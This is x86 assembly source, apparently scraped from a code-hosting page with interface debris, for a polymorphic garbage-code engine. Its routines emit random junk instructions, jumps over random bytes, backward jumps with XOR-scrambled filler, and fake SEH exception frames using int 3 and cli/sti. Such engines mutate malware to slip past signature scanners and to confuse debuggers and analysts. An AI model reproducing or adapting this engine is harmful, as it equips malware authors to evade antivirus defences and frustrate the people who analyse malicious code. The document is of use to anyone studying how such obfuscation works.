db 081h, 0c8h, 6h, C_SRC ; or reg(EAX),NUM
|
||||
db 03bh, 0c0h, 2h, C_BOTH
|
||||
db 085h, 0c0h, 2h, C_BOTH
|
||||
db 01bh, 0c0h, 2h, C_BOTH ; sbb reg(EAX),reg(EAX)
|
||||
db 011h, 0c0h, 2h, C_BOTH ; adc reg(EAX),reg(EAX)
|
||||
db 0f7h, 0d0h, 2h, C_SRC ; not reg(EAX)
|
||||
db 0f7h, 0d8h, 2h, C_SRC ; neg reg(EAX)
|
||||
db 0d1h, 0f8h, 2h, C_SRC ; sar reg(EAX),1
|
||||
db 0d1h, 0d8h, 2h, C_SRC ; rcr reg(EAX),1
|
||||
db 0d1h, 0d0h, 2h, C_SRC ; rcl reg(EAX),1
|
||||
db 091h, NO_M, 1h, C_SRC ; xchg reg(EAX),reg(ECX)
|
||||
db 090h, NO_M, 1h, C_NONE ; nop
|
||||
db 0fch, NO_M, 1h, C_NONE ; cld
|
||||
db 0f8h, NO_M, 1h, C_NONE ; clc
|
||||
db 0fdh, NO_M, 1h, C_NONE ; std
|
||||
db 09bh, NO_M, 1h, C_NONE ; wait
|
||||
db 050h, NO_M, 1h, C_SRC ; push reg(eax)
|
||||
_i_pop db 058h, NO_M, 1h, C_SRC ; pop reg(eax) (must be last one)
|
||||
ENTRY_TABLE_SIZE = 4
|
||||
instr_table_size = (($-offset instr_table)/4)
|
||||
|
||||
dd 0
|
||||
push_number dd 0
|
||||
do_push db 1 ; should we process pushs?
|
||||
|
||||
O_JMP equ 0EBh
|
||||
O_PUSH equ 050h
|
||||
O_POP equ 058h
|
||||
i_jmp: db 0EBh, NO_M, 2h ; jmp $+1
|
||||
|
||||
|
||||
|
||||
; -------------- GARBAGE GENERATOR (SAFE) ------------------------------------
|
||||
; EDI = where
|
||||
; ----------------------------------------------------------------------------
|
||||
|
||||
gen_garbage_i:
|
||||
|
||||
pushad
|
||||
garbage_again:
|
||||
mov eax,instr_table_size
|
||||
call random_eax
|
||||
|
||||
lea esi,instr_table
|
||||
mov ecx,ENTRY_TABLE_SIZE
|
||||
mul ecx ; eax=member from table to use
|
||||
add esi,eax
|
||||
jmp garbage_co
|
||||
|
||||
garbage_hand: pushad
|
||||
garbage_co: lodsw ; ah = modrm value / al=opcode
|
||||
cmp ah,NO_M
|
||||
je no_modrm
|
||||
stosb ; store opcode
|
||||
xor edx,edx
|
||||
mov dl,ah
|
||||
cmp byte ptr [esi+1],C_BOTH ; what registers to mutate
|
||||
je p_01
|
||||
cmp byte ptr [esi+1],C_SRC
|
||||
jne t_01
|
||||
|
||||
p_01: and dl,0F8h
|
||||
mov eax,x1_tbl_size
|
||||
call random_eax
|
||||
mov al,byte ptr [allowed_regs[eax]]
|
||||
mov al,byte ptr [x1_table[eax]]
|
||||
or dl,al
|
||||
mov byte ptr [edi],dl
|
||||
|
||||
t_01: cmp byte ptr [esi+1],C_BOTH ; what registers to mutate
|
||||
je p_02
|
||||
cmp byte ptr [esi+1],C_DST
|
||||
jne finish_i
|
||||
|
||||
p_02: and dl,0C7h
|
||||
mov eax,x2_tbl_size
|
||||
call random_eax
|
||||
mov al,byte ptr [allowed_regs[eax]]
|
||||
mov al,byte ptr [x2_table[eax]]
|
||||
or dl,al ; update modrm value
|
||||
mov byte ptr [edi],dl
|
||||
|
||||
finish_i: mov cl,byte ptr [esi]
|
||||
sub cl,2
|
||||
inc edi
|
||||
cmp cl,0
|
||||
jle garbage_done
|
||||
|
||||
store_op: mov eax,12345678h
|
||||
call random_eax
|
||||
stosb
|
||||
loop store_op
|
||||
|
||||
|
||||
garbage_done: xor eax,eax
|
||||
mov al,byte ptr [esi]
|
||||
mov [esp+PUSHA_STRUCT._EAX],eax
|
||||
popad
|
||||
ret
|
||||
|
||||
|
||||
; ----------------------------------------------------
|
||||
; NO MOD-RMs
|
||||
; ----------------------------------------------------
|
||||
|
||||
|
||||
no_modrm: xor edx,edx
|
||||
mov dl,al
|
||||
|
||||
cmp byte ptr [esi+1],C_NONE
|
||||
je t_none
|
||||
cmp dl,O_PUSH
|
||||
je t_push
|
||||
cmp dl,O_POP
|
||||
je t_pop
|
||||
|
||||
|
||||
go_nomodrm: mov eax,x1_tbl_size
|
||||
call random_eax
|
||||
mov al,byte ptr [allowed_regs[eax]]
|
||||
mov al,byte ptr [x1_table[eax]]
|
||||
and dl,0F8h
|
||||
or dl,al
|
||||
mov byte ptr [edi],dl
|
||||
inc edi
|
||||
jmp finish_i
|
||||
|
||||
t_none: mov byte ptr [edi],dl
|
||||
inc edi
|
||||
cmp dl,O_JMP
|
||||
jne finish_i
|
||||
mov byte ptr [edi],0
|
||||
inc edi
|
||||
jmp finish_i
|
||||
|
||||
t_push: cmp byte ptr [do_push],1
|
||||
jne garbage_again
|
||||
inc dword ptr [push_number]
|
||||
jmp go_nomodrm
|
||||
|
||||
t_pop: cmp byte ptr [do_push],1
|
||||
jne garbage_again
|
||||
|
||||
cmp dword ptr [push_number],0
|
||||
jle garbage_again
|
||||
|
||||
dec dword ptr [push_number]
|
||||
jmp go_nomodrm
|
||||
|
||||
|
||||
|
||||
t_normalize_pops:
|
||||
|
||||
pushad
|
||||
xor ebx,ebx
|
||||
mov ecx,dword ptr [push_number]
|
||||
test ecx,ecx
|
||||
jz t_opsexit
|
||||
|
||||
|
||||
t_givepops: lea esi,_i_pop
|
||||
call garbage_hand
|
||||
add edi,eax
|
||||
add ebx,eax
|
||||
loop t_givepops
|
||||
|
||||
t_opsexit: mov [esp+PUSHA_STRUCT._EAX],ebx
|
||||
popad
|
||||
ret
|
||||
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; HARDCORE GARBAGER
|
||||
; ---------------------------------------------------------------------------
|
||||
; EDI = where to store
|
||||
;
|
||||
; This one generates code like this:
|
||||
; jmp over_garbage
|
||||
; <totaly random generated garbage>
|
||||
; <normal garbage>
|
||||
; max: up to 20 "instructions"
|
||||
; ---------------------------------------------------------------------------
|
||||
|
||||
hardcode_garbage_i:
|
||||
|
||||
pushad
|
||||
mov ebx,edi
|
||||
lea edi,hardcore_temp
|
||||
mov eax,20
|
||||
call random_eax
|
||||
mov ecx,eax
|
||||
add ecx,4
|
||||
|
||||
h_fill: mov eax,2
|
||||
call random_eax
|
||||
test eax,eax
|
||||
jnz h_hard
|
||||
call gen_garbage_i
|
||||
jmp h_cont
|
||||
|
||||
h_hard: mov eax,5
|
||||
call random_eax
|
||||
mov edx,eax
|
||||
inc edx
|
||||
xor esi,esi
|
||||
|
||||
h_hard_fill: mov eax,0FFFFh
|
||||
call random_eax
|
||||
stosb
|
||||
inc esi
|
||||
dec edx
|
||||
jnz h_hard_fill
|
||||
loop h_fill
|
||||
jmp h_done
|
||||
|
||||
h_cont: add edi,eax
|
||||
loop h_fill
|
||||
|
||||
h_done: lea ecx,hardcore_temp
|
||||
sub edi,ecx
|
||||
mov ecx,edi
|
||||
|
||||
mov byte ptr [ebx],O_JMP
|
||||
inc ebx
|
||||
mov byte ptr [ebx],cl
|
||||
inc ebx
|
||||
|
||||
push ecx
|
||||
mov edi,ebx
|
||||
lea esi,hardcore_temp
|
||||
rep movsb
|
||||
pop eax
|
||||
add eax,2
|
||||
|
||||
mov [esp+PUSHA_STRUCT._EAX],eax
|
||||
popad
|
||||
ret
|
||||
|
||||
; -------------------------------------------------------------
|
||||
; Generates backwards jumps
|
||||
; -------------------------------------------------------------
|
||||
; EDI = buffor
|
||||
|
||||
gen_bjumps:
|
||||
|
||||
pushad
|
||||
mov ebx,edi
|
||||
mov byte ptr [jmp_flag],0
|
||||
mov byte ptr [jmp_flag_b],0
|
||||
mov dword ptr [count_jmp],0
|
||||
mov dword ptr [where_where],0
|
||||
mov dword ptr [jmp_bytes],0
|
||||
mov byte ptr [do_push],0
|
||||
mov byte ptr [where_losed],0
|
||||
|
||||
mov byte ptr [ebx],O_JMP
|
||||
mov dword ptr [where_start],ebx
|
||||
add dword ptr [where_start],2
|
||||
inc ebx
|
||||
|
||||
xor esi,esi
|
||||
add edi,2
|
||||
add dword ptr [jmp_bytes],2
|
||||
|
||||
gen_gar_i: mov eax,20
|
||||
call random_eax
|
||||
mov ecx,eax
|
||||
add ecx,10
|
||||
|
||||
gen_gar_ii: call gen_garbage_i
|
||||
add dword ptr [jmp_bytes],eax
|
||||
add esi,eax
|
||||
add edi,eax
|
||||
cmp byte ptr [jmp_flag],1
|
||||
jne gen_gari_ix
|
||||
add dword ptr [count_jmp],eax
|
||||
jmp gen_gari_ixx
|
||||
|
||||
gen_gari_ix: push eax
|
||||
mov eax,2
|
||||
call random_eax
|
||||
mov edx,eax
|
||||
pop eax
|
||||
cmp byte ptr [where_losed],1
|
||||
je gen_gari_ixx
|
||||
add dword ptr [where_start],eax
|
||||
cmp edx,1
|
||||
je gen_gari_ixx
|
||||
mov byte ptr [where_losed],1
|
||||
|
||||
gen_gari_ixx: mov eax,3
|
||||
call random_eax
|
||||
cmp eax,2
|
||||
jne cont_gari
|
||||
cmp byte ptr [jmp_flag],1
|
||||
je cont_gari
|
||||
mov byte ptr [jmp_flag],1
|
||||
mov byte ptr [edi],O_JMP
|
||||
inc edi
|
||||
mov dword ptr [where_jmp],edi
|
||||
inc edi
|
||||
add esi,2
|
||||
|
||||
cont_gari: loop gen_gar_ii
|
||||
mov eax,esi
|
||||
mov byte ptr [ebx],al
|
||||
cmp byte ptr [jmp_flag],1
|
||||
je cont_gari2
|
||||
mov byte ptr [edi],O_JMP
|
||||
inc edi
|
||||
mov dword ptr [where_jmp],edi
|
||||
inc edi
|
||||
|
||||
cont_gari2: mov dword ptr [where_where],edi
|
||||
add dword ptr [jmp_bytes],2
|
||||
mov eax,5
|
||||
call random_eax
|
||||
inc eax
|
||||
mov ecx,eax
|
||||
|
||||
cont_gari3: call gen_garbage_i
|
||||
add dword ptr [jmp_bytes],eax
|
||||
add edi,eax
|
||||
add dword ptr [count_jmp],eax
|
||||
loop cont_gari3
|
||||
mov byte ptr [edi],O_JMP
|
||||
mov eax,edi
|
||||
sub eax,dword ptr [where_start]
|
||||
add eax,2
|
||||
neg eax
|
||||
|
||||
pushad
|
||||
add edi,2
|
||||
mov eax,4
|
||||
call random_eax
|
||||
mov ecx,eax
|
||||
test ecx,ecx
|
||||
jz cont_gari4
|
||||
|
||||
place_gar: mov eax,0FFh
|
||||
call random_eax
|
||||
inc dword ptr [count_jmp]
|
||||
inc dword ptr [jmp_bytes]
|
||||
stosb
|
||||
loop place_gar
|
||||
|
||||
|
||||
cont_gari4: add dword ptr [count_jmp],2
|
||||
mov eax,dword ptr [count_jmp]
|
||||
mov edx,dword ptr [where_jmp]
|
||||
mov byte ptr [edx],al
|
||||
popad
|
||||
mov byte ptr [edi+1],al
|
||||
add dword ptr [jmp_bytes],2
|
||||
mov edx,dword ptr [where_where]
|
||||
sub edx,dword ptr [where_jmp]
|
||||
dec edx
|
||||
mov ecx,edx
|
||||
mov edx,dword ptr [where_jmp]
|
||||
inc edx
|
||||
cmp ecx,0
|
||||
jle cont_no_xor
|
||||
|
||||
cont_xor: mov eax,0FFh
|
||||
call random_eax
|
||||
xor byte ptr [edx],al
|
||||
inc edx
|
||||
loop cont_xor
|
||||
|
||||
cont_no_xor: mov byte ptr [do_push],1
|
||||
mov edx,dword ptr [jmp_bytes]
|
||||
mov [esp+PUSHA_STRUCT._EAX],edx
|
||||
popad
|
||||
ret
|
||||
|
||||
jmp_bytes dd 0
|
||||
where_losed db 0
|
||||
where_where dd 0
|
||||
where_start dd 0
|
||||
count_jmp dd 0
|
||||
where_jmp dd 0
|
||||
jmp_flag db 0
|
||||
jmp_flag_b db 0
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
; -------------------------------------------------------------
|
||||
; Generates SEH frames/exceptions/etc.
|
||||
; -------------------------------------------------------------
|
||||
; EDI = buffor
|
||||
|
||||
|
||||
FS_PREFIX equ 064h
|
||||
seh_push_fs db 0ffh, 030h, 2h, C_SRC
|
||||
seh_mov_fs db 089h, 020h, 2h, C_SRC
|
||||
seh_pop_fs db 08fh, 000h, 2h, C_SRC
|
||||
|
||||
_mov_reg_esp db 08bh, 0c4h, 2h, C_DST ; mov reg,ESP
|
||||
_add_reg_num db 081h, 0c0h, 2h, C_SRC ; add reg,NUM (we must typo NUM by hand: 4) LEN=6
|
||||
_mov_reg_oreg db 08bh, 000h, 2h, C_BOTH ; mov reg,[REG]
|
||||
_mov_dreg_num db 0c7h, 080h, 2h, C_SRC ; mov [reg+NUM],0 (add NUM by hand) LEN: A
|
||||
_add_dreg_num db 081h, 080h, 2h, C_SRC
|
||||
|
||||
exception_table:
|
||||
db 0CCh ; int 3
|
||||
db 0fah ; cli
|
||||
db 0fbh ; sti
|
||||
exception_table_size = $-offset exception_table
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
gen_seh:
|
||||
pushad
|
||||
xor edx,edx
|
||||
mov ebx,edi
|
||||
mov byte ptr [edi],0E8h
|
||||
mov dword ptr [edi+1],0
|
||||
add edx,5
|
||||
add edi,5
|
||||
push edi
|
||||
lea esi,allowed_regs
|
||||
mov ecx,x1_tbl_size
|
||||
push esi
|
||||
push ecx
|
||||
lea edi,allowed_regs_temp
|
||||
rep movsb
|
||||
pop ecx
|
||||
pop edi
|
||||
|
||||
pushad
|
||||
mov eax,x1_tbl_size
|
||||
call random_eax
|
||||
cmp eax,M0_EAX
|
||||
jne reg_p
|
||||
inc eax ; somehow :) EAX usage results with invalid disposition error
|
||||
|
||||
reg_p: rep stosb
|
||||
mov edi,[esp+PUSHA_STRUCT_SIZE]
|
||||
lea esi,_mov_reg_esp
|
||||
call garbage_hand
|
||||
add dword ptr [esp+PUSHA_STRUCT._EDX],eax
|
||||
add [esp+PUSHA_STRUCT_SIZE],eax
|
||||
add edi,eax
|
||||
lea esi,_add_reg_num
|
||||
call garbage_hand
|
||||
add edi,2
|
||||
mov dword ptr [edi],0Ch
|
||||
add dword ptr [esp+PUSHA_STRUCT._EDX],6
|
||||
add [esp+PUSHA_STRUCT_SIZE],6
|
||||
add edi,4
|
||||
lea esi,_mov_reg_oreg
|
||||
call garbage_hand
|
||||
add dword ptr [esp+PUSHA_STRUCT._EDX],eax
|
||||
add [esp+PUSHA_STRUCT_SIZE],eax
|
||||
add edi,eax
|
||||
lea esi,_mov_dreg_num
|
||||
call garbage_hand
|
||||
add dword ptr [esp+PUSHA_STRUCT._EDX],0ah
|
||||
add [esp+PUSHA_STRUCT_SIZE],0ah
|
||||
add edi,2
|
||||
mov dword ptr [edi],04h
|
||||
mov dword ptr [edi+4],0h
|
||||
add edi,0ah-2
|
||||
lea esi,_mov_dreg_num
|
||||
call garbage_hand
|
||||
add dword ptr [esp+PUSHA_STRUCT._EDX],0ah
|
||||
add [esp+PUSHA_STRUCT_SIZE],0ah
|
||||
add edi,2
|
||||
mov dword ptr [edi],08h
|
||||
mov dword ptr [edi+4],0h
|
||||
add edi,0ah-2
|
||||
lea esi,_mov_dreg_num
|
||||
call garbage_hand
|
||||
add dword ptr [esp+PUSHA_STRUCT._EDX],0ah
|
||||
add [esp+PUSHA_STRUCT_SIZE],0ah
|
||||
add edi,2
|
||||
mov dword ptr [edi],12h
|
||||
mov dword ptr [edi+4],0h
|
||||
add edi,0ah-2
|
||||
lea esi,_mov_dreg_num
|
||||
call garbage_hand
|
||||
add dword ptr [esp+PUSHA_STRUCT._EDX],0ah
|
||||
add [esp+PUSHA_STRUCT_SIZE],0ah
|
||||
add edi,2
|
||||
mov dword ptr [edi],16h
|
||||
mov dword ptr [edi+4],0h
|
||||
add edi,0ah-2
|
||||
lea esi,_add_dreg_num
|
||||
call garbage_hand
|
||||
add dword ptr [esp+PUSHA_STRUCT._EDX],0ah+1
|
||||
add [esp+PUSHA_STRUCT_SIZE],0ah+1
|
||||
add edi,2
|
||||
mov dword ptr [edi],0b8h
|
||||
add edi,4
|
||||
mov dword ptr [where_over],edi
|
||||
add edi,0ah-6
|
||||
mov byte ptr [edi],0C3h ; ret
|
||||
inc edi
|
||||
popad
|
||||
mov byte ptr [ebx+1],dl
|
||||
sub byte ptr [ebx+1],5
|
||||
mov eax,x1_tbl_size
|
||||
call random_eax
|
||||
rep stosb
|
||||
pop edi
|
||||
lea esi,_i_xor_r
|
||||
call garbage_hand
|
||||
add edi,eax
|
||||
add edx,eax
|
||||
mov byte ptr [edi],FS_PREFIX
|
||||
inc edi
|
||||
inc edx
|
||||
lea esi,seh_push_fs
|
||||
call garbage_hand
|
||||
add edi,eax
|
||||
add edx,eax
|
||||
mov byte ptr [edi],FS_PREFIX
|
||||
inc edi
|
||||
inc edx
|
||||
lea esi,seh_mov_fs
|
||||
call garbage_hand
|
||||
add edi,eax
|
||||
add edx,eax
|
||||
call reset_regs
|
||||
xor ebx,ebx
|
||||
mov eax,exception_table_size
|
||||
call random_eax
|
||||
mov cl,byte ptr exception_table[eax]
|
||||
mov byte ptr [edi],cl
|
||||
inc edx
|
||||
inc edi
|
||||
inc ebx
|
||||
call fill_trash
|
||||
add edx,eax
|
||||
add ebx,eax
|
||||
add edi,eax
|
||||
push edi
|
||||
mov edi,dword ptr [where_over]
|
||||
mov dword ptr [edi],ebx
|
||||
pop edi
|
||||
call finalize_seh
|
||||
add edx,eax
|
||||
mov [esp+PUSHA_STRUCT._EAX],edx
|
||||
popad
|
||||
ret
|
||||
|
||||
|
||||
|
||||
where_over dd 0
|
||||
allowed_regs_temp db x1_tbl_size dup (0)
|
||||
|
||||
|
||||
|
||||
|
||||
finalize_seh:
|
||||
pushad
|
||||
call gen_regs
|
||||
xor edx,edx
|
||||
lea esi,_i_xor_r
|
||||
call garbage_hand
|
||||
add edi,eax
|
||||
add edx,eax
|
||||
mov byte ptr [edi],FS_PREFIX
|
||||
inc edi
|
||||
inc edx
|
||||
lea esi,seh_pop_fs
|
||||
call garbage_hand
|
||||
add edi,eax
|
||||
add edx,eax
|
||||
call reset_regs
|
||||
inc dword ptr [push_number]
|
||||
lea esi,_i_pop
|
||||
call garbage_hand
|
||||
add edx,eax
|
||||
add edi,eax
|
||||
mov [esp+PUSHA_STRUCT._EAX],edx
|
||||
popad
|
||||
ret
|
||||
|
||||
fill_trash: pushad
|
||||
xor ebx,ebx
|
||||
mov eax,20
|
||||
call random_eax
|
||||
mov ecx,eax
|
||||
test eax,eax
|
||||
jz done_fill_trash
|
||||
|
||||
fill_trash_x: mov eax,0FFh
|
||||
call random_eax
|
||||
stosb
|
||||
inc ebx
|
||||
loop fill_trash_x
|
||||
|
||||
done_fill_trash:
|
||||
mov [esp+PUSHA_STRUCT._EAX],ebx
|
||||
popad
|
||||
ret
|
||||
|
||||
reset_regs:
|
||||
pushad
|
||||
lea esi,allowed_regs_temp
|
||||
mov ecx,x1_tbl_size
|
||||
lea edi,allowed_regs
|
||||
rep movsb
|
||||
popad
|
||||
ret
|
||||
|
||||
|
||||
gen_regs: pushad
|
||||
mov eax,x1_tbl_size
|
||||
call random_eax
|
||||
lea edi,allowed_regs
|
||||
mov ecx,x1_tbl_size
|
||||
rep stosb
|
||||
popad
|
||||
ret
|
||||
|
||||
|
||||
set_random: pushad
|
||||
mov eax,6
|
||||
call random_eax
|
||||
cmp eax,5
|
||||
jne not_set
|
||||
call gen_bjumps
|
||||
jmp le_set
|
||||
|
||||
not_set: xor eax,eax
|
||||
le_set: mov [esp+PUSHA_STRUCT._EAX],eax
|
||||
|
||||
popad
|
||||
ret
|
||||
|
||||
|
||||
random_setup proc
|
||||
|
||||
@callx GetTickCount
|
||||
mov Random_Seed,eax
|
||||
ret
|
||||
|
||||
random_setup endp
|
||||
|
||||
Random_Seed dd 0
|
||||
|
||||
random_eax proc
|
||||
|
||||
PUSH ECX
|
||||
PUSH EDX
|
||||
PUSH EAX
|
||||
db 0Fh, 31h ; RDTSC
|
||||
MOV ECX, Random_Seed
|
||||
ADD EAX, ECX
|
||||
ROL ECX, 1
|
||||
ADD ECX, 666h
|
||||
MOV Random_Seed, ECX
|
||||
PUSH 32
|
||||
POP ECX
|
||||
|
||||
CRC_Bit: SHR EAX, 1
|
||||
JNC Loop_CRC_Bit
|
||||
XOR EAX, 0EDB88320h
|
||||
|
||||
Loop_CRC_Bit: LOOP CRC_Bit
|
||||
POP ECX
|
||||
XOR EDX, EDX
|
||||
DIV ECX
|
||||
XCHG EDX, EAX
|
||||
OR EAX, EAX
|
||||
POP EDX
|
||||
POP ECX
|
||||
RETN
|
||||
random_eax endp
|
Loading…
Reference in New Issue
Block a user